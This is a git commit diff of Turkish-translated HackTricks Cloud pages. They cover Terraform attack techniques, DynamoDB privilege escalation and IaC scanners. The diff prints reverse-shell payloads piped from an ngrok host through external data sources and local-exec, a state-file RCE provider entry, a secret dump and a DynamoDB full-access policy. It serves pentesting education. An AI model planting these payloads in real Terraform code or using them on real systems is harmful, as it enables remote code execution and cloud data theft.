mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin
This commit is contained in:
@@ -10,17 +10,17 @@ HashiCorp Terraform, **kod olarak altyapı aracı**dır ve hem **bulut hem de ye
|
||||
|
||||
#### Terraform nasıl çalışır?
|
||||
|
||||
Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları uygulama programlama arayüzleri (API'ler) aracılığıyla oluşturur ve yönetir. Sağlayıcılar, Terraform'un erişilebilir bir API'ye sahip hemen hemen her platform veya hizmetle çalışmasını sağlar.
|
||||
Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları uygulama programlama arayüzleri (API'ler) aracılığıyla oluşturur ve yönetir. Sağlayıcılar, Terraform'un erişilebilir bir API'ye sahip olan hemen hemen her platform veya hizmetle çalışmasını sağlar.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp ve Terraform topluluğu, binlerce farklı türde kaynak ve hizmeti yönetmek için **1700'den fazla sağlayıcı** yazmıştır ve bu sayı artmaya devam etmektedir. Tüm kamuya açık sağlayıcıları [Terraform Registry](https://registry.terraform.io/) üzerinde bulabilirsiniz; bunlar arasında Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha birçokları bulunmaktadır.
|
||||
HashiCorp ve Terraform topluluğu, farklı türdeki binlerce kaynak ve hizmeti yönetmek için **1700'den fazla sağlayıcı** yazmıştır ve bu sayı artmaya devam etmektedir. Tüm kamuya açık sağlayıcıları [Terraform Registry](https://registry.terraform.io/) üzerinde bulabilirsiniz; bunlar arasında Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha birçokları bulunmaktadır.
|
||||
|
||||
Temel Terraform iş akışı üç aşamadan oluşur:
|
||||
|
||||
- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmeti arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal makinelerde bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz.
|
||||
- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmet arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal makinelerde bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz.
|
||||
- **Planla:** Terraform, mevcut altyapı ve yapılandırmanıza dayanarak oluşturacağı, güncelleyeceği veya yok edeceği altyapıyı tanımlayan bir yürütme planı oluşturur.
|
||||
- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarına saygı göstererek önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini güncelleyip o VPC'deki sanal makine sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur.
|
||||
- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarına saygı göstererek önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini günceller ve o VPC'deki sanal makinelerin sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -28,33 +28,33 @@ Temel Terraform iş akışı üç aşamadan oluşur:
|
||||
|
||||
Bilgisayarınıza terraform'u kurun.
|
||||
|
||||
Burada bir [kılavuz](https://learn.hashicorp.com/tutorials/terraform/install-cli) ve burada terraform'u indirmenin [en iyi yolu](https://www.terraform.io/downloads) var.
|
||||
Burada bir [rehber](https://learn.hashicorp.com/tutorials/terraform/install-cli) ve burada terraform'u indirmenin [en iyi yolu](https://www.terraform.io/downloads) var.
|
||||
|
||||
## Terraform'da RCE
|
||||
## Terraform'da RCE: yapılandırma dosyası zehirlenmesi
|
||||
|
||||
Terraform'un **bir web sayfası veya bir ağ hizmeti** sunan bir platformu yoktur, bu nedenle terraform'u tehlikeye atmanın tek yolu **terraform yapılandırma dosyalarını eklemek/değiştirmek** olabilir.
|
||||
Terraform, **bir web sayfası veya bir ağ hizmeti sunan bir platforma sahip değildir**; bu nedenle, terraform'u tehlikeye atmanın tek yolu, **terraform yapılandırma dosyalarını ekleyebilmek/değiştirebilmek** veya **terraform durum dosyasını değiştirebilmek**tir (aşağıdaki bölüme bakın).
|
||||
|
||||
Ancak, terraform, düzgün çalışabilmesi için farklı konumlara **ayrılmış erişim** sağlayacağı için **çok hassas bir bileşen**dir.
|
||||
Ancak, terraform, **farklı konumlara ayrıcalıklı erişim** sağlayacağı için tehlikeye atılması **çok hassas bir bileşendir**.
|
||||
|
||||
Bir saldırganın terraform'un çalıştığı sistemi tehlikeye atabilmesinin ana yolu, **terraform yapılandırmalarını depolayan depoyu tehlikeye atmaktır**, çünkü bir noktada bunlar **yorumlanacaktır**.
|
||||
|
||||
Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini otomatik olarak gerçekleştiren çözümler mevcuttur, bunlardan biri **Atlantis**'dir:
|
||||
Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini otomatik olarak gerçekleştiren çözümler mevcuttur, örneğin **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
Bir terraform dosyasını tehlikeye atmayı başarırsanız, birisi `terraform plan` veya `terraform apply` çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır.
|
||||
Eğer bir terraform dosyasını tehlikeye atmayı başarırsanız, birisi `terraform plan` veya `terraform apply` komutunu çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır.
|
||||
|
||||
### Terraform planı
|
||||
|
||||
Terraform planı, terraform'da **en çok kullanılan komut**dur ve terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, bir `terraform plan` içinde rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir.
|
||||
Terraform planı, terraform'da **en çok kullanılan komut**dur ve terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, `terraform plan` içinde rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir.
|
||||
|
||||
**Dış sağlayıcı kullanarak**
|
||||
|
||||
Terraform, Terraform ile dış programlar arasında arayüz sağlamak için [`external` sağlayıcısını](https://registry.terraform.io/providers/hashicorp/external/latest/docs) sunar. `plan` sırasında rastgele kod çalıştırmak için `external` veri kaynağını kullanabilirsiniz.
|
||||
Terraform, Terraform ile dış programlar arasında bir arayüz sağlamak için [`external` sağlayıcısını](https://registry.terraform.io/providers/hashicorp/external/latest/docs) sunar. `plan` sırasında rastgele kod çalıştırmak için `external` veri kaynağını kullanabilirsiniz.
|
||||
|
||||
Bir terraform yapılandırma dosyasına aşağıdakine benzer bir şey enjekte etmek, `terraform plan` çalıştırıldığında bir rev shell çalıştıracaktır:
|
||||
Bir terraform yapılandırma dosyasına aşağıdaki gibi bir şey enjekte etmek, `terraform plan` çalıştırıldığında bir rev shell çalıştıracaktır:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
@@ -81,9 +81,9 @@ Bir örneği [https://github.com/rung/terraform-provider-cmdexec](https://github
|
||||
|
||||
**Dış bir referans kullanma**
|
||||
|
||||
Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi birincisinden daha gizli ama daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek:
|
||||
Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi birincisinden daha gizlidir ama daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek:
|
||||
|
||||
- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell'i içeren **dış bir kaynağı** yükleyebilirsiniz:
|
||||
- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell içeren **dış bir kaynağı** yükleyebilirsiniz:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
@@ -91,11 +91,11 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
|
||||
```
|
||||
Rev shell kodunu [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) adresinde bulabilirsiniz.
|
||||
|
||||
- Harici kaynakta, **ref** özelliğini kullanarak repo içinde **bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- Harici kaynakta, **ref** özelliğini kullanarak **repo içindeki bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır, ayrıca **kötü niyetli bir Terraform dosyasını** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** ile enjekte ederek RCE elde etmek için de kötüye kullanılabilir.**\
|
||||
Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır, ayrıca **kötü niyetli bir Terraform dosyasını** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** ile RCE elde etmek için de kötüye kullanabilirsiniz.**\
|
||||
Sadece `main.tf` dosyasının sonunda aşağıdaki gibi bir yükün bulunduğundan emin olmalısınız:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
@@ -112,7 +112,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Önceki teknikten **önerileri takip ederek** bu saldırıyı **daha gizli bir şekilde dış referanslar kullanarak** gerçekleştirin.
|
||||
Önceki teknikteki **önerileri takip ederek** bu saldırıyı **daha gizli bir şekilde dış referanslar kullanarak** gerçekleştirin.
|
||||
|
||||
## Gizli Bilgiler Dökümü
|
||||
|
||||
@@ -124,7 +124,35 @@ value = nonsensitive(var.do_token)
|
||||
```
|
||||
## Terraform Durum Dosyalarını Kötüye Kullanma
|
||||
|
||||
Terraform durum dosyaları üzerinde yazma erişiminiz varsa ancak terraform kodunu değiştiremiyorsanız, [**bu araştırma**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) dosyadan yararlanmak için bazı ilginç seçenekler sunmaktadır:
|
||||
Terraform durum dosyaları üzerinde yazma erişiminiz varsa ancak terraform kodunu değiştiremiyorsanız, [**bu araştırma**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) dosyadan yararlanmak için bazı ilginç seçenekler sunmaktadır. Konfigürasyon dosyaları üzerinde yazma erişiminiz olsa bile, durum dosyalarının vektörünü kullanmak genellikle daha sinsi bir yöntemdir, çünkü `git` geçmişinde iz bırakmazsınız.
|
||||
|
||||
### Terraform'da RCE: konfigürasyon dosyası zehirleme
|
||||
|
||||
Kötü niyetli bir sağlayıcı ile terraform durum dosyasındaki sağlayıcılardan birini değiştirmek veya kötü niyetli sağlayıcıyı referans alan sahte bir kaynak eklemek için [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) mümkündür.
|
||||
|
||||
Sağlayıcı [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) bu araştırmaya dayanmakta ve bu prensibi silahlandırmaktadır. Sahte bir kaynak ekleyebilir ve çalıştırmak istediğiniz keyfi bash komutunu `command` niteliğinde belirtebilirsiniz. `terraform` çalıştırıldığında, bu hem `terraform plan` hem de `terraform apply` adımlarında okunacak ve yürütülecektir. `terraform apply` adımında, `terraform` komutunuzu çalıştırdıktan sonra sahte kaynağı durum dosyasından silecektir, böylece kendi arkasını temizlemiş olur. Daha fazla bilgi ve tam bir demo, bu sağlayıcının kaynak kodunu barındıran [GitHub deposunda](https://github.com/offensive-actions/terraform-provider-statefile-rce) bulunabilir.
|
||||
|
||||
Doğrudan kullanmak için, `resources` dizisinin herhangi bir konumuna aşağıdakileri ekleyin ve `name` ile `command` niteliklerini özelleştirin:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
O zaman, `terraform` çalıştırıldığında, kodunuz çalışacaktır.
|
||||
|
||||
### Kaynakları Silme <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
@@ -132,7 +160,7 @@ Kaynakları yok etmenin 2 yolu vardır:
|
||||
|
||||
1. **Gerçek kaynağı yok etmek için durum dosyasına rastgele bir isimle bir kaynak ekleyin**
|
||||
|
||||
Terraform, kaynağın mevcut olmaması gerektiğini göreceği için, onu yok edecektir (belirtilen gerçek kaynak kimliğini takip ederek). Önceki sayfadan örnek:
|
||||
Çünkü terraform, kaynağın mevcut olmaması gerektiğini görecektir, bu yüzden onu yok edecektir (belirtilen gerçek kaynak kimliğini takip ederek). Önceki sayfadan örnek:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -148,28 +176,13 @@ Terraform, kaynağın mevcut olmaması gerektiğini göreceği için, onu yok ed
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Silinmesi gereken kaynağı, güncellenemeyecek şekilde değiştirin (bu nedenle silinip yeniden oluşturulacak)**
|
||||
2. **Kaynağı, güncellenemeyecek şekilde silmek için değiştirin (bu nedenle silinip yeniden oluşturulacak)**
|
||||
|
||||
Bir EC2 örneği için, örneğin türünü değiştirmek, terraform'un onu silip yeniden oluşturması için yeterlidir.
|
||||
|
||||
### RCE
|
||||
### Kara listeye alınmış sağlayıcıyı değiştirin
|
||||
|
||||
Ayrıca, [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) ve terraform durum dosyasındaki sağlayıcılardan birini kötü niyetli olanla değiştirmek veya kötü niyetli sağlayıcı ile boş bir kaynak eklemek mümkündür. Orijinal araştırmadan örnek:
|
||||
```json
|
||||
"resources": [
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "scaffolding_example",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
|
||||
"instances": [
|
||||
|
||||
]
|
||||
},
|
||||
```
|
||||
### Kara listeye alınmış sağlayıcıyı değiştir
|
||||
|
||||
`hashicorp/external` kara listeye alındığında bir durumla karşılaşırsanız, `external` sağlayıcısını aşağıdaki gibi yeniden uygulayabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest tarafından yayınlanan bir external sağlayıcı çatalını kullanıyoruz. Kendi çatalınızı veya yeniden uygulamanızı da yayınlayabilirsiniz.
|
||||
`hashicorp/external` kara listeye alındığında, `external` sağlayıcısını yeniden uygulamak için aşağıdakileri yapabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan bir external sağlayıcı çatallamasını kullanıyoruz. Kendi çatallamanızı veya yeniden uygulamanızı da yayınlayabilirsiniz.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -196,7 +209,7 @@ Snyk, Terraform, CloudFormation, Kubernetes ve diğer IaC formatlarındaki güve
|
||||
- Güvenlik açıkları ve uyumluluk sorunları için gerçek zamanlı tarama.
|
||||
- Versiyon kontrol sistemleriyle (GitHub, GitLab, Bitbucket) entegrasyon.
|
||||
- Otomatik düzeltme çekme istekleri.
|
||||
- Ayrıntılı düzeltme tavsiyeleri.
|
||||
- Ayrıntılı düzeltme önerileri.
|
||||
- **Kaydolun:** [Snyk](https://snyk.io/) üzerinde bir hesap oluşturun.
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
@@ -206,9 +219,9 @@ snyk iac test /path/to/terraform/code
|
||||
```
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov**, altyapı kodu (IaC) için statik kod analizi aracı ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşen analizi (SCA) aracıdır.
|
||||
**Checkov**, kod olarak altyapı (IaC) için bir statik kod analiz aracıdır ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşen analizi (SCA) aracıdır.
|
||||
|
||||
[Terraform](https://terraform.io/) kullanılarak sağlanan bulut altyapısını, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) ile tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyumluluk yanlış yapılandırmalarını tespit eder.
|
||||
[Terraform](https://terraform.io/) kullanılarak sağlanan bulut altyapısını, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) ile tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyum yanlış yapılandırmalarını tespit eder.
|
||||
|
||||
Açık kaynak paketleri ve görüntüleri için Ortak Güvenlik Açıkları ve Maruziyetler (CVE'ler) taraması olan [Yazılım Bileşen Analizi (SCA) taraması](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) gerçekleştirir.
|
||||
```bash
|
||||
@@ -217,17 +230,17 @@ checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`, altyapı kodunuz için negatif test yeteneğini sağlamak amacıyla terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test çerçevesidir.
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance`, altyapı kodunuz için olumsuz test yeteneğini etkinleştirmek amacıyla terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test çerçevesidir.
|
||||
|
||||
- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğundan emin olun
|
||||
- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğundan emin olun.
|
||||
- **davranış odaklı geliştirme:** Neredeyse her şey için BDD'miz var, neden IaC için olmasın?
|
||||
- **taşınabilir:** Sadece `pip` ile kurun veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın
|
||||
- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular
|
||||
- **taşınabilir:** Sadece `pip` ile kurun veya `docker` üzerinden çalıştırın. [Kurulum](https://terraform-compliance.com/pages/installation/) sayfasına bakın.
|
||||
- **ön dağıtım:** Kodunuzu dağıtılmadan önce doğrular.
|
||||
- **entegrasyonu kolay:** Tüm dağıtımların doğrulandığından emin olmak için pipeline'ınızda (veya git hook'larında) çalıştırılabilir.
|
||||
- **görev ayrımı:** Testlerinizi ayrı bir ekibin sorumlu olduğu farklı bir depoda tutabilirsiniz.
|
||||
|
||||
> [!NOTE]
|
||||
> Ne yazık ki, kod bazı sağlayıcıları kullanıyorsa ve bunlara erişiminiz yoksa `terraform plan` gerçekleştiremeyecek ve bu aracı çalıştıramayacaksınız.
|
||||
> Ne yazık ki, kod bazı sağlayıcıları kullanıyorsa ve bu sağlayıcılara erişiminiz yoksa `terraform plan` gerçekleştiremeyecek ve bu aracı çalıştıramayacaksınız.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
@@ -254,9 +267,9 @@ tfsec /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Geliştirme döngüsünün başında **KICS** ile altyapı kodunuzda güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını erken tespit edin.
|
||||
Geliştirme döngüsünün erken aşamalarında **KICS** ile güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını bulun.
|
||||
|
||||
**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel projesi için vazgeçilmezdir.
|
||||
**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır, açık kaynaklıdır ve herhangi bir bulut yerel projesi için gereklidir.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
@@ -278,5 +291,6 @@ brew install terrascan
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,20 +4,69 @@
|
||||
|
||||
## dynamodb
|
||||
|
||||
Dynamodb hakkında daha fazla bilgi için kontrol edin:
|
||||
DynamoDB hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dynamodb:PutResourcePolicy`, ve isteğe bağlı olarak `dynamodb:GetResourcePolicy`
|
||||
|
||||
Mart 2024'ten itibaren, AWS DynamoDB için *kaynak tabanlı politikalar* sunmaktadır ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
|
||||
|
||||
Bu nedenle, bir tablo için `dynamodb:PutResourcePolicy`'ye sahipseniz, kendinize veya başka bir kullanıcıya tabloya tam erişim verebilirsiniz.
|
||||
|
||||
`dynamodb:PutResourcePolicy`'yi rastgele bir kullanıcıya vermek genellikle yanlışlıkla olur; eğer yöneticiler `dynamodb:Put*` vermenin yalnızca kullanıcının veritabanına öğe eklemesine izin vereceğini düşünürse - veya bu izin setini Mart 2024'ten önce verdilerse...
|
||||
|
||||
İdeal olarak, diğer potansiyel olarak hayati izinleri geçersiz kılmamak için `dynamodb:GetResourcePolicy`'ye de sahip olmalısınız, böylece yalnızca ihtiyaç duyduğunuz ek izinleri ekleyebilirsiniz:
|
||||
```bash
|
||||
# get the current resource based policy (if it exists) and save it to a file
|
||||
aws dynamodb get-resource-policy \
|
||||
--resource-arn <table_arn> \
|
||||
--query 'Policy' \
|
||||
--output text > policy.json
|
||||
```
|
||||
Eğer mevcut politikayı alamıyorsanız, sadece bu politikayı kullanın; bu, tablonuz üzerinde tam erişim sağlar:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "FullAccessToDynamoDBTable",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
|
||||
},
|
||||
"Action": [
|
||||
"dynamodb:*"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Eğer bunu özelleştirmeniz gerekiyorsa, işte tüm olası DynamoDB eylemlerinin bir listesi: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Ve burada bir kaynak tabanlı politika aracılığıyla izin verilebilecek tüm eylemlerin bir listesi *VE bunlardan hangilerinin hesaplar arası kullanılabileceği (veri sızdırma düşünün!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
|
||||
|
||||
Şimdi, `policy.json` politika belgesi hazır olduğuna göre, kaynak politikasını ekleyin:
|
||||
```bash
|
||||
# put the new policy using the prepared policy file
|
||||
# dynamodb does weirdly not allow a direct file upload
|
||||
aws dynamodb put-resource-policy \
|
||||
--resource-arn <table_arn> \
|
||||
--policy "$(cat policy.json)"
|
||||
```
|
||||
Artık ihtiyaç duyduğunuz izinlere sahip olmalısınız.
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
Bildigim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de **yetki yükseltmenin doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (bu bilgiler AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi **DynamoDB Post Exploitation sayfasında** zaten dikkate alınmıştır:
|
||||
Bildiğim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de yetkileri artırmanın **başka doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (bu bilgiler AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi zaten **DynamoDB Post Exploitation sayfasında** dikkate alınmıştır:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### TODO: Veri Akışlarını kötüye kullanarak veri okuma
|
||||
### TODO: Veri Akışlarını kötüye kullanarak veri oku
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -34,7 +34,7 @@
|
||||
]
|
||||
}
|
||||
```
|
||||
Ve ele geçirme, **şablonun yüklenmesi anından** **şablonun dağıtılması anına** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenir** ve **o bucket'ın** **içeriğini ele geçirir**.
|
||||
Ve ele geçirme, **şablonun yüklendiği andan** **şablonun dağıtıldığı ana** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenecek** ve **o bucket'ın** **içeriğini ele geçirecektir**.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -50,9 +50,21 @@ Bunlar bazı örneklerdir:
|
||||
|
||||
- Eğer bir EC2 örneği **kullanıcı verilerini bir S3 bucket'ında** depoluyorsa, bir saldırgan bunu **EC2 örneği içinde rastgele kod çalıştırmak için değiştirebilir**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (isteğe bağlı) terraform durum dosyası üzerinden
|
||||
|
||||
